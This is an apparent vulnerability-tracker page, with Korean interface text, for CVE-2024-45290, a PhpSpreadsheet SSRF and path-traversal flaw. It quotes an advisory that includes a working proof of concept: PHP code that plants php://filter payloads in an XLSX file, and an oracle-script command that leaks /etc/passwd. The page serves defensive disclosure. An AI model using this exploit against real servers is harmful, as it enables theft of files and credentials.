Kestrel
대시보드로 돌아가기
CVE-2024-45290HIGH· 7.7MITRENVDGHSA대응게시일: 2024. 10. 07.수정일: 2025. 03. 06.

PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file

SSRFPath-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.7high

이론적 심각도 점수

EPSS
0.6%상위 55.4%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.7HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

상세 설명

Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.

Details

When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:

bash
1if (isset($images[$embedImageKey])) {
2 // ...omit irrelevant code...
3} else {
4 $linkImageKey = (string) self::getArrayItem(
5 $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
6 'link'
7 );
8 if (isset($images[$linkImageKey])) {
9 $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
10 $objDrawing->setPath($url);
11 }
12}

setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:

bash
1public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
2{
3 if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
4 // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
5 if (filter_var($path, FILTER_VALIDATE_URL)) {
6 $this->path = $path;
7 // Implicit that it is a URL, rather store info than running check above on value in other places.
8 $this->isUrl = true;
9 $imageContents = file_get_contents($path);
10 // ... check dimensions etc. ...

It's important to note here, that filter_var considers also file:// and php:// URLs valid.

The attacker can set the path to anything:

text
1<Relationship Id="rId1"
2 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
3 Target="this can be whatever" />

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit

PoC

Target file:

bash
1<?php
2
3require 'vendor/autoload.php';
4
5// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
6// keep the PoC simple, I've combined this into the same file.
7
8$file = "book_tampered.xlsx";
9$payload = $_POST["payload"]; // the payload comes from the Python script
10
11copy("book.xlsx",$file);
12$zip = new ZipArchive;
13$zip->open($file);
14
15$path = "xl/drawings/_rels/drawing1.xml.rels";
16$content = $zip->getFromName($path);
17$content = str_replace("../media/image1.gif", $payload, $content);
18$zip->addFromString($path, $content);
19
20$path = "xl/drawings/drawing1.xml";
21$content = $zip->getFromName($path);
22$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
23$zip->addFromString($path, $content);
24
25$zip->close();
26
27// The actual target - note that simply opening the file is sufficient for the attack
28
29$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
30$spreadsheet = $reader->load(__DIR__ . '/' . $file);

Add this file in the same directory:
book.xlsx

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blow_up_inf = self.join(*[self.blow_up_utf32]*15) to self.blow_up_inf = self.join(*[self.blow_up_utf32]*20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.

Then run the Python script with:

text
1python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd

Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

image

Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.